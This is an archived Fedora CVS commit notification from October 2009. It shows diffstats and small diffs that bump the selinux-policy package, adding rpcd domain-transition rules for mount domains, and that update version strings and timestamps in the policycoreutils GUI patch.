 policy/modules/roles/webadm.fc                      |    1 
 policy/modules/roles/webadm.if                      |   44 
 policy/modules/roles/webadm.te                      |   65 
 policy/modules/roles/xguest.fc                      |    1 
 policy/modules/roles/xguest.if                      |  161 +
 policy/modules/roles/xguest.te                      |   87 
 policy/modules/services/aide.if                     |    6 
 policy/modules/services/amavis.if                   |   20 
 policy/modules/services/amavis.te                   |    2 
 policy/modules/services/apache.fc                   |   35 
 policy/modules/services/apache.if                   |  488 +++--
 policy/modules/services/apache.te                   |  397 +++-
 policy/modules/services/apcupsd.fc                  |    2 
 policy/modules/services/arpwatch.fc                 |    1 
 policy/modules/services/arpwatch.if                 |   42 
 policy/modules/services/arpwatch.te                 |    3 
 policy/modules/services/asterisk.fc                 |    1 
 policy/modules/services/asterisk.if                 |   53 
 policy/modules/services/asterisk.te                 |    3 
 policy/modules/services/audioentropy.fc             |    2 
 policy/modules/services/audioentropy.te             |    1 
 policy/modules/services/automount.if                |   18 
 policy/modules/services/automount.te                |    6 
 policy/modules/services/avahi.fc                    |    4 
 policy/modules/services/avahi.if                    |  132 +
 policy/modules/services/avahi.te                    |   15 
 policy/modules/services/bind.fc                     |    7 
 policy/modules/services/bind.if                     |   92 
 policy/modules/services/bind.te                     |    5 
 policy/modules/services/bitlbee.te                  |    2 
 policy/modules/services/bluetooth.fc                |    5 
 policy/modules/services/bluetooth.if                |   53 
 policy/modules/services/bluetooth.te                |   22 
 policy/modules/services/certmaster.fc               |    9 
 policy/modules/services/certmaster.if               |  128 +
 policy/modules/services/certmaster.te               |   81 
 policy/modules/services/clamav.fc                   |   12 
 policy/modules/services/clamav.if                   |  105 +
 policy/modules/services/clamav.te                   |   35 
 policy/modules/services/consolekit.fc               |    3 
 policy/modules/services/consolekit.if               |   21 
 policy/modules/services/consolekit.te               |   64 
 policy/modules/services/courier.fc                  |    2 
 policy/modules/services/courier.if                  |   19 
 policy/modules/services/courier.te                  |    4 
 policy/modules/services/cron.fc                     |   10 
 policy/modules/services/cron.if                     |  250 +-
 policy/modules/services/cron.te                     |  112 -
 policy/modules/services/cups.fc                     |   32 
 policy/modules/services/cups.if                     |  106 +
 policy/modules/services/cups.te                     |  186 +
 policy/modules/services/cvs.te                      |    1 
 policy/modules/services/cyphesis.fc                 |    5 
 policy/modules/services/cyrus.te                    |    1 
 policy/modules/services/dbus.fc                     |    3 
 policy/modules/services/dbus.if                     |  235 ++
 policy/modules/services/dbus.te                     |   57 
 policy/modules/services/dcc.fc                      |    2 
 policy/modules/services/dcc.if                      |   18 
 policy/modules/services/dcc.te                      |   62 
 policy/modules/services/dhcp.fc                     |    1 
 policy/modules/services/dhcp.if                     |   60 
 policy/modules/services/dhcp.te                     |   18 
 policy/modules/services/dnsmasq.fc                  |    3 
 policy/modules/services/dnsmasq.if                  |  174 +
 policy/modules/services/dnsmasq.te                  |   22 
 policy/modules/services/dovecot.fc                  |   12 
 policy/modules/services/dovecot.if                  |   98 +
 policy/modules/services/dovecot.te                  |   98 -
 policy/modules/services/exim.if                     |   40 
 policy/modules/services/exim.te                     |  102 -
 policy/modules/services/fail2ban.fc                 |    1 
 policy/modules/services/fail2ban.if                 |   45 
 policy/modules/services/fail2ban.te                 |   10 
 policy/modules/services/fetchmail.fc                |    2 
 policy/modules/services/fetchmail.if                |   26 
 policy/modules/services/fetchmail.te                |   10 
 policy/modules/services/ftp.te                      |   53 
 policy/modules/services/gamin.fc                    |    2 
 policy/modules/services/gamin.if                    |   57 
 policy/modules/services/gamin.te                    |   39 
 policy/modules/services/gnomeclock.fc               |    3 
 policy/modules/services/gnomeclock.if               |   75 
 policy/modules/services/gnomeclock.te               |   55 
 policy/modules/services/gpsd.fc                     |    3 
 policy/modules/services/gpsd.if                     |   89 
 policy/modules/services/gpsd.te                     |   55 
 policy/modules/services/hal.fc                      |    4 
 policy/modules/services/hal.if                      |   39 
 policy/modules/services/hal.te                      |  112 +
 policy/modules/services/inetd.fc                    |    2 
 policy/modules/services/inetd.te                    |    2 
 policy/modules/services/kerberos.fc                 |    6 
 policy/modules/services/kerberos.te                 |    3 
 policy/modules/services/kerneloops.if               |   23 
 policy/modules/services/kerneloops.te               |    6 
 policy/modules/services/ktalk.te                    |    1 
 policy/modules/services/ldap.te                     |    6 
 policy/modules/services/lircd.fc                    |    9 
 policy/modules/services/lircd.if                    |  100 +
 policy/modules/services/lircd.te                    |   70 
 policy/modules/services/lpd.fc                      |    6 
 policy/modules/services/mailman.fc                  |    1 
 policy/modules/services/mailman.if                  |   28 
 policy/modules/services/mailman.te                  |   33 
 policy/modules/services/mailscanner.fc              |    2 
 policy/modules/services/mailscanner.if              |   59 
 policy/modules/services/mailscanner.te              |    5 
 policy/modules/services/milter.fc                   |   15 
 policy/modules/services/milter.if                   |  104 +
 policy/modules/services/milter.te                   |  107 +
 policy/modules/services/mta.fc                      |   10 
 policy/modules/services/mta.if                      |   70 
 policy/modules/services/mta.te                      |   76 
 policy/modules/services/munin.fc                    |    7 
 policy/modules/services/munin.if                    |   92 
 policy/modules/services/munin.te                    |   77 
 policy/modules/services/mysql.fc                    |    3 
 policy/modules/services/mysql.if                    |  128 +
 policy/modules/services/mysql.te                    |   53 
 policy/modules/services/nagios.fc                   |   11 
 policy/modules/services/nagios.if                   |   71 
 policy/modules/services/nagios.te                   |   58 
 policy/modules/services/networkmanager.fc           |   12 
 policy/modules/services/networkmanager.if           |   18 
 policy/modules/services/networkmanager.te           |  106 -
 policy/modules/services/nis.fc                      |    6 
 policy/modules/services/nis.if                      |  126 +
 policy/modules/services/nis.te                      |   27 
 policy/modules/services/nscd.fc                     |    1 
 policy/modules/services/nscd.if                     |  126 +
 policy/modules/services/nscd.te                     |   32 
 policy/modules/services/ntp.if                      |   57 
 policy/modules/services/ntp.te                      |   19 
 policy/modules/services/nx.fc                       |    4 
 policy/modules/services/oddjob.fc                   |    2 
 policy/modules/services/oddjob.if                   |   32 
 policy/modules/services/oddjob.te                   |   28 
 policy/modules/services/openvpn.fc                  |    1 
 policy/modules/services/openvpn.if                  |   36 
 policy/modules/services/openvpn.te                  |   19 
 policy/modules/services/pads.fc                     |   12 
 policy/modules/services/pads.if                     |   10 
 policy/modules/services/pads.te                     |   68 
 policy/modules/services/pcscd.fc                    |    1 
 policy/modules/services/pcscd.te                    |   12 
 policy/modules/services/pegasus.te                  |   28 
 policy/modules/services/pingd.fc                    |   11 
 policy/modules/services/pingd.if                    |   99 +
 policy/modules/services/pingd.te                    |   54 
 policy/modules/services/pki.fc                      |   46 
 policy/modules/services/pki.if                      |  643 ++++++
 policy/modules/services/pki.te                      |   91 
 policy/modules/services/polkit.fc                   |    9 
 policy/modules/services/polkit.if                   |  233 ++
 policy/modules/services/polkit.te                   |  235 ++
 policy/modules/services/portmap.te                  |    1 
 policy/modules/services/portreserve.fc              |   12 
 policy/modules/services/portreserve.if              |   70 
 policy/modules/services/portreserve.te              |   55 
 policy/modules/services/postfix.fc                  |    6 
 policy/modules/services/postfix.if                  |  136 +
 policy/modules/services/postfix.te                  |  134 +
 policy/modules/services/postgresql.fc               |    1 
 policy/modules/services/postgresql.if               |   43 
 policy/modules/services/postgresql.te               |   12 
 policy/modules/services/postgrey.fc                 |    4 
 policy/modules/services/postgrey.if                 |   67 
 policy/modules/services/postgrey.te                 |   19 
 policy/modules/services/ppp.fc                      |    6 
 policy/modules/services/ppp.if                      |   64 
 policy/modules/services/ppp.te                      |   38 
 policy/modules/services/prelude.fc                  |   14 
 policy/modules/services/prelude.if                  |   71 
 policy/modules/services/prelude.te                  |  193 ++
 policy/modules/services/privoxy.fc                  |    2 
 policy/modules/services/privoxy.if                  |   12 
 policy/modules/services/privoxy.te                  |   17 
 policy/modules/services/procmail.fc                 |    3 
 policy/modules/services/procmail.if                 |   38 
 policy/modules/services/procmail.te                 |   35 
 policy/modules/services/psad.fc                     |   17 
 policy/modules/services/psad.if                     |  304 +++
 policy/modules/services/psad.te                     |  107 +
 policy/modules/services/pyzor.fc                    |    6 
 policy/modules/services/pyzor.if                    |   61 
 policy/modules/services/pyzor.te                    |   51 
 policy/modules/services/qmail.te                    |    8 
 policy/modules/services/radius.te                   |    3 
 policy/modules/services/radvd.te                    |    2 
 policy/modules/services/razor.fc                    |    4 
 policy/modules/services/razor.if                    |   87 
 policy/modules/services/razor.te                    |   38 
 policy/modules/services/ricci.te                    |   18 
 policy/modules/services/rlogin.te                   |   16 
 policy/modules/services/roundup.fc                  |    2 
 policy/modules/services/roundup.if                  |   38 
 policy/modules/services/roundup.te                  |    3 
 policy/modules/services/rpc.fc                      |    1 
 policy/modules/services/rpc.if                      |   43 
 policy/modules/services/rpc.te                      |   33 
 policy/modules/services/rpcbind.fc                  |    2 
 policy/modules/services/rpcbind.te                  |    3 
 policy/modules/services/rshd.te                     |   17 
 policy/modules/services/rsync.fc                    |    2 
 policy/modules/services/rsync.te                    |   11 
 policy/modules/services/samba.fc                    |    8 
 policy/modules/services/samba.if                    |  387 ++++
 policy/modules/services/samba.te                    |  209 +-
 policy/modules/services/sasl.te                     |    5 
 policy/modules/services/sendmail.if                 |  103 +
 policy/modules/services/sendmail.te                 |   92 
 policy/modules/services/setroubleshoot.fc           |    2 
 policy/modules/services/setroubleshoot.if           |   48 
 policy/modules/services/setroubleshoot.te           |   31 
 policy/modules/services/smartmon.te                 |   12 
 policy/modules/services/snmp.fc                     |    6 
 policy/modules/services/snmp.if                     |   36 
 policy/modules/services/snmp.te                     |   28 
 policy/modules/services/snort.if                    |    9 
 policy/modules/services/snort.te                    |    9 
 policy/modules/services/spamassassin.fc             |   16 
 policy/modules/services/spamassassin.if             |  472 ++--
 policy/modules/services/spamassassin.te             |  220 ++
 policy/modules/services/squid.fc                    |    4 
 policy/modules/services/squid.if                    |   18 
 policy/modules/services/squid.te                    |    8 
 policy/modules/services/ssh.fc                      |    2 
 policy/modules/services/ssh.if                      |  151 +
 policy/modules/services/ssh.te                      |   43 
 policy/modules/services/stunnel.fc                  |    1 
 policy/modules/services/stunnel.te                  |    3 
 policy/modules/services/sysstat.te                  |    2 
 policy/modules/services/telnet.te                   |    4 
 policy/modules/services/tftp.te                     |    1 
 policy/modules/services/tor.te                      |    2 
 policy/modules/services/ulogd.fc                    |   10 
 policy/modules/services/ulogd.if                    |  127 +
 policy/modules/services/ulogd.te                    |   54 
 policy/modules/services/uucp.fc                     |    7 
 policy/modules/services/uucp.te                     |   14 
 policy/modules/services/virt.fc                     |    1 
 policy/modules/services/virt.if                     |   94 
 policy/modules/services/virt.te                     |   47 
 policy/modules/services/w3c.te                      |    7 
 policy/modules/services/xserver.fc                  |   40 
 policy/modules/services/xserver.if                  |  915 +++++++--
 policy/modules/services/xserver.te                  |  317 +++
 policy/modules/services/zebra.te                    |    2 
 policy/modules/services/zosremote.fc                |    2 
 policy/modules/services/zosremote.if                |   52 
 policy/modules/services/zosremote.te                |   36 
 policy/modules/system/application.te                |    6 
 policy/modules/system/authlogin.fc                  |   10 
 policy/modules/system/authlogin.if                  |  212 ++
 policy/modules/system/authlogin.te                  |   46 
 policy/modules/system/fstools.fc                    |    2 
 policy/modules/system/fstools.te                    |    9 
 policy/modules/system/hostname.te                   |    4 
 policy/modules/system/init.fc                       |    5 
 policy/modules/system/init.if                       |  129 +
 policy/modules/system/init.te                       |  114 +
 policy/modules/system/ipsec.fc                      |    3 
 policy/modules/system/ipsec.te                      |   47 
 policy/modules/system/iptables.fc                   |   16 
 policy/modules/system/iptables.te                   |   13 
 policy/modules/system/iscsi.te                      |    4 
 policy/modules/system/libraries.fc                  |   90 
 policy/modules/system/libraries.te                  |   18 
 policy/modules/system/locallogin.te                 |   26 
 policy/modules/system/logging.fc                    |   11 
 policy/modules/system/logging.if                    |   25 
 policy/modules/system/logging.te                    |   18 
 policy/modules/system/lvm.fc                        |    2 
 policy/modules/system/lvm.te                        |   66 
 policy/modules/system/miscfiles.if                  |   39 
 policy/modules/system/modutils.te                   |   40 
 policy/modules/system/mount.fc                      |    8 
 policy/modules/system/mount.if                      |   21 
 policy/modules/system/mount.te                      |   85 
 policy/modules/system/raid.te                       |    4 
 policy/modules/system/selinuxutil.fc                |   10 
 policy/modules/system/selinuxutil.if                |  373 +++
 policy/modules/system/selinuxutil.te                |  229 --
 policy/modules/system/setrans.if                    |   20 
 policy/modules/system/sysnetwork.fc                 |   15 
 policy/modules/system/sysnetwork.if                 |   82 
 policy/modules/system/sysnetwork.te                 |   72 
 policy/modules/system/udev.fc                       |    4 
 policy/modules/system/udev.if                       |   28 
 policy/modules/system/udev.te                       |   16 
 policy/modules/system/unconfined.fc                 |   34 
 policy/modules/system/unconfined.if                 |  300 +++
 policy/modules/system/unconfined.te                 |  209 +-
 policy/modules/system/userdomain.fc                 |    9 
 policy/modules/system/userdomain.if                 | 1899 ++++++++++++++------
 policy/modules/system/userdomain.te                 |   89 
 policy/modules/system/xen.fc                        |    6 
 policy/modules/system/xen.if                        |   50 
 policy/modules/system/xen.te                        |  127 +
 policy/policy_capabilities                          |    2 
 policy/support/obj_perm_sets.spt                    |   74 
 policy/users                                        |   13 
 support/Makefile.devel                              |    3 
 456 files changed, 22285 insertions(+), 3612 deletions(-)

Index: policy-20080710.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-10/policy-20080710.patch,v
retrieving revision 1.179
retrieving revision 1.180
diff -u -p -r1.179 -r1.180
--- policy-20080710.patch	17 Sep 2009 15:18:24 -0000	1.179
+++ policy-20080710.patch	1 Oct 2009 15:36:53 -0000	1.180
@@ -34884,7 +34884,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/mount.te serefpolicy-3.5.13/policy/modules/system/mount.te
 --- nsaserefpolicy/policy/modules/system/mount.te	2008-10-17 14:49:13.000000000 +0200
-+++ serefpolicy-3.5.13/policy/modules/system/mount.te	2009-03-23 11:00:12.000000000 +0100
++++ serefpolicy-3.5.13/policy/modules/system/mount.te	2009-10-01 14:53:03.000000000 +0200
 @@ -18,17 +18,21 @@
  init_system_domain(mount_t,mount_exec_t)
  role system_r types mount_t;
@@ -35012,16 +35012,17 @@ diff --exclude-from=exclude -N -u -r nsa
  	files_mounton_non_security(mount_t)
  ')
  
-@@ -167,6 +192,8 @@
+@@ -167,6 +192,9 @@
  	fs_search_rpc(mount_t)
  
  	rpc_stub(mount_t)
 +
 +	rpc_domtrans_rpcd(mount_t)
++
  ')
  
  optional_policy(`
-@@ -174,6 +201,14 @@
+@@ -174,6 +202,14 @@
  ')
  
  optional_policy(`
@@ -35036,7 +35037,7 @@ diff --exclude-from=exclude -N -u -r nsa
  	ifdef(`hide_broken_symptoms',`
  		# for a bug in the X server
  		rhgb_dontaudit_rw_stream_sockets(mount_t)
-@@ -181,6 +216,11 @@
+@@ -181,6 +217,11 @@
  	')
  ')
  
@@ -35048,7 +35049,7 @@ diff --exclude-from=exclude -N -u -r nsa
  # for kernel package installation
  optional_policy(`
  	rpm_rw_pipes(mount_t)
-@@ -188,6 +228,7 @@
+@@ -188,6 +229,7 @@
  
  optional_policy(`
  	samba_domtrans_smbmount(mount_t)
@@ -35056,10 +35057,13 @@ diff --exclude-from=exclude -N -u -r nsa
  ')
  
  ########################################
-@@ -198,4 +239,26 @@
+@@ -198,4 +240,29 @@
  optional_policy(`
  	files_etc_filetrans_etc_runtime(unconfined_mount_t,file)
  	unconfined_domain(unconfined_mount_t)
++
++	rpc_domtrans_rpcd(unconfined_mount_t)
++
 +	optional_policy(`
 +		hal_dbus_chat(unconfined_mount_t)
 +')


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-10/selinux-policy.spec,v
retrieving revision 1.807
retrieving revision 1.808
diff -u -p -r1.807 -r1.808
--- selinux-policy.spec	17 Sep 2009 15:18:27 -0000	1.807
+++ selinux-policy.spec	1 Oct 2009 15:36:54 -0000	1.808
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.5.13
-Release: 72%{?dist}
+Release: 73%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -462,6 +462,9 @@ exit 0
 %endif
 
 %changelog
+* Thu Oct 1 2009 Miroslav Grepl <mgrepl at redhat.com> 3.5.13-73
+- Allow unconfined_mount_t to execute in rpcd domain
+
 * Thu Sep 17 2009 Miroslav Grepl <mgrepl at redhat.com> 3.5.13-72
 - Allow spamd to read spamd_var_lib_t symlinks
 



From dwalsh at fedoraproject.org  Thu Oct  1 15:39:13 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  1 Oct 2009 15:39:13 +0000 (UTC)
Subject: rpms/policycoreutils/F-12 policycoreutils-gui.patch, 1.91,
	1.92 policycoreutils-po.patch, 1.56,
	1.57 policycoreutils-rhat.patch, 1.446,
	1.447 policycoreutils.spec, 1.646, 1.647
Message-ID: <20091001153913.64F8E11C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv675

Modified Files:
	policycoreutils-gui.patch policycoreutils-po.patch 
	policycoreutils-rhat.patch policycoreutils.spec 
Log Message:
* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-6
- Fixes for polgengui to handle tcp ports correctly
- Fix semanage node -a


policycoreutils-gui.patch:
 Makefile                    |   41 
 booleansPage.py             |  247 +++
 domainsPage.py              |  154 +
 fcontextPage.py             |  223 ++
 html_util.py                |  164 ++
 lockdown.glade              |  771 +++++++++
 lockdown.gladep             |    7 
 lockdown.py                 |  382 ++++
 loginsPage.py               |  185 ++
 mappingsPage.py             |   56 
 modulesPage.py              |  190 ++
 polgen.glade                | 3305 ++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep               |    7 
 polgen.py                   | 1188 +++++++++++++++
 polgengui.py                |  627 ++++++++
 portsPage.py                |  259 +++
 selinux.tbl                 |  234 +++
 semanagePage.py             |  168 ++
 statusPage.py               |  190 ++
 system-config-selinux.glade | 3403 ++++++++++++++++++++++++++++++++++++++++++++
 system-config-selinux.py    |  189 ++
 templates/__init__.py       |   18 
 templates/boolean.py        |   40 
 templates/etc_rw.py         |  129 +
 templates/executable.py     |  368 ++++
 templates/network.py        |   80 +
 templates/rw.py             |  127 +
 templates/script.py         |   99 +
 templates/semodule.py       |   41 
 templates/tmp.py            |   97 +
 templates/user.py           |  182 ++
 templates/var_lib.py        |  158 ++
 templates/var_log.py        |  110 +
 templates/var_run.py        |  118 +
 templates/var_spool.py      |  129 +
 translationsPage.py         |  118 +
 usersPage.py                |  150 +
 37 files changed, 13954 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-gui.patch,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- policycoreutils-gui.patch	9 Sep 2009 21:07:24 -0000	1.91
+++ policycoreutils-gui.patch	1 Oct 2009 15:39:04 -0000	1.92
@@ -1,6 +1,6 @@
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/booleansPage.py policycoreutils-2.0.73/gui/booleansPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/booleansPage.py policycoreutils-2.0.74/gui/booleansPage.py
 --- nsapolicycoreutils/gui/booleansPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/booleansPage.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/booleansPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,247 @@
 +#
 +# booleansPage.py - GUI for Booleans page in system-config-securitylevel
@@ -249,9 +249,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        self.load(self.filter)
 +        return True
 +        
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/domainsPage.py policycoreutils-2.0.73/gui/domainsPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/domainsPage.py policycoreutils-2.0.74/gui/domainsPage.py
 --- nsapolicycoreutils/gui/domainsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/domainsPage.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/domainsPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,154 @@
 +## domainsPage.py - show selinux domains
 +## Copyright (C) 2009 Red Hat, Inc.
@@ -407,9 +407,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +                
 +        except ValueError, e:
 +            self.error(e.args[0])
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/fcontextPage.py policycoreutils-2.0.73/gui/fcontextPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/fcontextPage.py policycoreutils-2.0.74/gui/fcontextPage.py
 --- nsapolicycoreutils/gui/fcontextPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/fcontextPage.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/fcontextPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,223 @@
 +## fcontextPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -634,9 +634,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        self.store.set_value(iter, SPEC_COL, fspec)
 +        self.store.set_value(iter, FTYPE_COL, ftype)
 +        self.store.set_value(iter, TYPE_COL, "%s:%s" % (type, mls))
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/html_util.py policycoreutils-2.0.73/gui/html_util.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/html_util.py policycoreutils-2.0.74/gui/html_util.py
 --- nsapolicycoreutils/gui/html_util.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/html_util.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/html_util.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,164 @@
 +# Authors: John Dennis <jdennis at redhat.com>
 +#
@@ -802,9 +802,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +    doc += tail
 +    return doc
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.glade policycoreutils-2.0.73/gui/lockdown.glade
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.glade policycoreutils-2.0.74/gui/lockdown.glade
 --- nsapolicycoreutils/gui/lockdown.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/lockdown.glade	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.glade	2009-09-28 09:13:55.000000000 -0400
 @@ -0,0 +1,771 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
@@ -1577,9 +1577,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +</widget>
 +
 +</glade-interface>
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.gladep policycoreutils-2.0.73/gui/lockdown.gladep
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.gladep policycoreutils-2.0.74/gui/lockdown.gladep
 --- nsapolicycoreutils/gui/lockdown.gladep	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/lockdown.gladep	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.gladep	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,7 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">
@@ -1588,9 +1588,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +  <name></name>
 +  <program_name></program_name>
 +</glade-project>
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.py policycoreutils-2.0.73/gui/lockdown.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.py policycoreutils-2.0.74/gui/lockdown.py
 --- nsapolicycoreutils/gui/lockdown.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/lockdown.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,382 @@
 +#!/usr/bin/python
 +#
@@ -1974,9 +1974,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +    app = booleanWindow()
 +    app.stand_alone()
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/loginsPage.py policycoreutils-2.0.73/gui/loginsPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/loginsPage.py policycoreutils-2.0.74/gui/loginsPage.py
 --- nsapolicycoreutils/gui/loginsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/loginsPage.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/loginsPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,185 @@
 +## loginsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -2163,9 +2163,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        self.store.set_value(iter, 1, seuser)
 +        self.store.set_value(iter, 2, seobject.translate(serange))
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/Makefile policycoreutils-2.0.73/gui/Makefile
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/Makefile policycoreutils-2.0.74/gui/Makefile
 --- nsapolicycoreutils/gui/Makefile	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/Makefile	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/Makefile	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,41 @@
 +# Installation directories.
 +PREFIX ?= ${DESTDIR}/usr
@@ -2208,9 +2208,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +indent:
 +
 +relabel:
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/mappingsPage.py policycoreutils-2.0.73/gui/mappingsPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/mappingsPage.py policycoreutils-2.0.74/gui/mappingsPage.py
 --- nsapolicycoreutils/gui/mappingsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/mappingsPage.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/mappingsPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,56 @@
 +## mappingsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -2268,9 +2268,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        for k in keys:
 +            print "%-25s %-25s %-25s" % (k, dict[k][0], translate(dict[k][1]))
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/modulesPage.py policycoreutils-2.0.73/gui/modulesPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/modulesPage.py policycoreutils-2.0.74/gui/modulesPage.py
 --- nsapolicycoreutils/gui/modulesPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/modulesPage.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/modulesPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,190 @@
 +## modulesPage.py - show selinux mappings
 +## Copyright (C) 2006-2009 Red Hat, Inc.
@@ -2462,9 +2462,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +                
 +        except ValueError, e:
 +            self.error(e.args[0])
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.glade policycoreutils-2.0.73/gui/polgen.glade
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.glade policycoreutils-2.0.74/gui/polgen.glade
 --- nsapolicycoreutils/gui/polgen.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/polgen.glade	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgen.glade	2009-09-28 09:14:14.000000000 -0400
 @@ -0,0 +1,3305 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
@@ -5771,9 +5771,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +</widget>
 +
 +</glade-interface>
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.gladep policycoreutils-2.0.73/gui/polgen.gladep
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.gladep policycoreutils-2.0.74/gui/polgen.gladep
 --- nsapolicycoreutils/gui/polgen.gladep	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/polgen.gladep	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgen.gladep	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,7 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">
@@ -5782,9 +5782,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +  <name></name>
 +  <program_name></program_name>
 +</glade-project>
